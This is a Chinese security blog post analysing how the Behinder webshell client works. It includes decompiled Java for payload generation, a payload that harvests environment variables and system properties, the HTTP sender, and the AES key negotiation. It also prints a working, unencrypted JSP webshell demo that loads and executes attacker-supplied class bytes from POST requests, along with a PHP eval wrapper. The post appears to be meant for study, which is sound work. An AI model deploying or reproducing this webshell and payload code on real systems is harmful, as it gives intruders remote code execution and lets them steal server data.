前言
冰蝎解析(一)分析了Java服务端的具体实现,通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的,那么接着上次的思路继续分析下冰蝎客户端的实现原理。
冰蝎Java客户端实现
利用jd-gui简单看下冰蝎的源码,其中net.rebeyond.behinder为其核心代码,其中core.ShellService.class为Webshell的操作类,负责调用其他类实现加解密、获取服务端基本信息、命令执行等;payload.java下class文件为Java服务端的具体实现,可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组;utils.Utils.class为通用操作的具体实现,如payload传输、接收返回结果并解析等。
![null 图片[1]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144612.png)
如上,我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程,我们再来看下冰蝎客户端的具体实现过程。
获取BasicInfo.class 字节数组
ShellService.class中getBasicInfo方法,调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组;调用Utils.requestAndParse()发送payload并解析返回值。
public String getBasicInfo(String whatever) throws Exception { String result = ""; Map<String, String> params = new LinkedHashMap<>(); params.put("whatever", whatever); //获取BasicInfo.class 字节数据,其中包含此payload的解密与生成过程 byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType); //发送payload并解析返回结果 Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex); byte[] resData = (byte[])resultObj.get("data"); try { //解密返回结果 result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)); } catch (Exception e) { throw new Exception("+ new String(resData, "UTF-8")); } return result; }
跟进去到Utils.getData(),当传入的type参数为jsp时进入Params.getParamedClass(),获取对应className的字节数组,将其加密和编码处理并返回。
![null 图片[2]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144615.png)
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception { if (type.equals("jsp")) { byte[] bincls = Params.getParamedClass(className, params); if (extraData != null) bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); byte[] encrypedBincls = Crypt.Encrypt(bincls, key); String basedEncryBincls = Base64.encode(encrypedBincls); return basedEncryBincls.getBytes(); } if (type.equals("php")) { byte[] bincls = Params.getParamedPhp(className, params); bincls = Base64.encode(bincls).getBytes(); bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes(); if (extraData != null) bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType); return Base64.encode(encrypedBincls).getBytes(); } if (type.equals("aspx")) { byte[] bincls = Params.getParamedAssembly(className, params); if (extraData != null) bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key); return encrypedBincls; } if (type.equals("asp")) { byte[] bincls = Params.getParamedAsp(className, params); if (extraData != null) bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key); return encrypedBincls; } return null; }
继续进入Params.getParamedClass(className, params)方法,通过ASM框架将clsName对应的class文件转化成字节数组并返回。
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception { String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", new Object[] { clsName }); ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", new Object[] { clsName })); ClassWriter cw = new ClassWriter(1); classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) { public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) { if (params.containsKey(filedName)) { String paramValue = (String)params.get(filedName); return super.visitField(arg0, filedName, arg2, arg3, paramValue); } return super.visitField(arg0, filedName, arg2, arg3, arg4); } }0); byte[] result = cw.toByteArray(); String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s", new Object[] { clsName }); if (!clsName.equals("LoadNativeLibrary")) { String newClassName = getRandomClassName(oldClassName); result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes())); result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes())); } result[7] = 50; return result; }
BasicInfo.class的具体实现
以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程,看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法,在此方法中完成了response、response、seesion对象的获取;服务端基本信息的获取、加密;结果的返回和解析。
public boolean equals(Object obj) { String result = ""; try { //获取response、response、seesion对象 fillContext(obj); //获取服务端基本信息 StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) basicInfo.append(name + "=" + (String)env.get(name) + "<br/>"); basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString()); String currentPath = (new File("")).getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) driveList = driveList + f.getPath() + ";"; String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); //将结果写入json字符串 result = buildJson(entity, true); } catch (Exception exception) { try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", new Class[] { byte[].class }); write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) }); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception exception1) {} } finally { try { //将结果写入response对象 Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", new Class[] { byte[].class }); write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) }); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception exception) {} } return true; }private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map<String, Object>)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" }); }//将服务端基本信息写入json字符串的具体实现private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append(""" + key + "":""); String value = ((String)entity.get(key)).toString(); if (encode) if (version.compareTo("1.9") >= 0) { getClass(); Class<?> Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") }); } else { getClass(); Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") }); value = value.replace("n", "").replace("r", ""); } sb.append(value); sb.append("","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); }//AES加密结果private byte[] Encrypt(byte[] bs) throws Exception { String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString(); byte[] raw = key.getBytes("utf-8"); SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(bs); return encrypted; }
发送payload并解析返回结果
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);byte[] resData = (byte[])resultObj.get("data");try { //解密返回结果 result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)); } catch (Exception e) { throw new Exception("请求失败:"+ new String(resData, "UTF-8")); } return result;
Utils.requestAndParse()
public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception { Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data); byte[] resData = (byte[])resultObj.get("data"); if (beginIndex != 0 || endIndex != 0) if (resData.length - endIndex >= beginIndex) resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex); resultObj.put("data", resData); return resultObj; }
Utils.sendPostRequestBinary():构造POST请求发送payload到服务端并获取response返回结果
public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception { HttpURLConnection conn; Map<String, Object> result = new HashMap<>(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); URL url = new URL(urlPath); if (MainController.currentProxy.get("proxy") != null) { Proxy proxy = (Proxy)MainController.currentProxy.get("proxy"); conn = (HttpURLConnection)url.openConnection(proxy); } else { conn = (HttpURLConnection)url.openConnection(); } conn.setConnectTimeout(15000); conn.setUseCaches(false); conn.setRequestMethod("POST"); if (header != null) { Object[] keys = header.keySet().toArray(); Arrays.sort(keys); for (Object key : keys) conn.setRequestProperty(key.toString(), header.get(key)); } conn.setDoOutput(true); conn.setDoInput(true); conn.setUseCaches(false); OutputStream outwritestream = conn.getOutputStream(); outwritestream.write(data); outwritestream.flush(); outwritestream.close(); if (conn.getResponseCode() == 200) { String encoding = conn.getContentEncoding(); if (encoding != null) { if (encoding != null && encoding.equals("gzip")) { GZIPInputStream gZIPInputStream = null; gZIPInputStream = new GZIPInputStream(conn.getInputStream()); DataInputStream din = new DataInputStream(gZIPInputStream); byte[] buffer = new byte[1024]; int length = 0; while ((length = din.read(buffer)) != -1) bos.write(buffer, 0, length); } else { DataInputStream din = new DataInputStream(conn.getInputStream()); byte[] buffer = new byte[1024]; int length = 0; while ((length = din.read(buffer)) != -1) bos.write(buffer, 0, length); } } else { DataInputStream din = new DataInputStream(conn.getInputStream()); byte[] buffer = new byte[1024]; int length = 0; while ((length = din.read(buffer)) != -1) bos.write(buffer, 0, length); } } else { DataInputStream din = new DataInputStream(conn.getErrorStream()); byte[] buffer = new byte[1024]; int length = 0; while ((length = din.read(buffer)) != -1) bos.write(buffer, 0, length); throw new Exception(new String(bos.toByteArray(), "GBK")); } byte[] resData = bos.toByteArray(); result.put("data", resData); Map<String, String> responseHeader = new HashMap<>(); for (String key : conn.getHeaderFields().keySet()) responseHeader.put(key, conn.getHeaderField(key)); responseHeader.put("status", conn.getResponseCode() + ""); result.put("header", responseHeader); return result; }
在payload.java下所有的payload均是通过这种模式使用的。
![null 图片[3]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-16681446151.png)
编写一个Demo
编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行,只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp
<%@ page import="java.util.Base64" %><% class U extends ClassLoader{ Class g(byte[] bs){ return super.defineClass(bs,0,bs.length); } } if (request.getMethod().equals("POST")){ byte[] bs = Base64.getDecoder().decode(request.getReader().readLine()); new U().g(bs).newInstance().equals(pageContext); }%>
![null 图片[4]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144616.png)
![null 图片[5]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144621.png)
加密与密钥
payload加密
冰蝎使用AES加密传输payload,加密逻辑在net/rebeyond/core/Crypt.java。
![null 图片[6]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144623.png)
在Utils.getData方法被调用将payload AES加密。
![null 图片[7]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144626.png)
密钥协商
冰蝎3采用了预共享密钥确定密钥,逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。
![null 图片[8]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144628.png)
1、取客户端输入password MD5前16位作为currentKey。
this.currentKey = Utils.getKey(this.currentPassword);
![null 图片[9]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144630.png)
![null 图片[10]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144631.png)
2、环境为jsp,生成随机字符串content通过echo方法发送给服务端,payload加密使用的key为1中生成的key,以服务端返回值与content是否相等来判定客户端key是否正确;
![null 图片[11]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144636.png)
其中echo方法的实现原理与getBasicInfo实现原理相同:通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.
![null 图片[12]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144637.png)
![null 图片[13]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144640.png)
3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。
![null 图片[14]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144642.png)
构造一个get请求发起握手,形如:http://1.1.1.1/bx.jsp?pass=123
![null 图片[15]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144645.png)
结果判断和key提取
![null 图片[16]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144649.png)
获取key的测试Demo,后续所有操作都依赖此key的加密。
![null 图片[17]-冰蝎(二)Java客户端实现-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-190863-1668144653.png)
总结
站在巨人肩膀上看世界。致谢项目作者:
rebeyond-https://github.com/rebeyond/Behinder
E
N
D
本文作者:TideSec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/190863.html
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下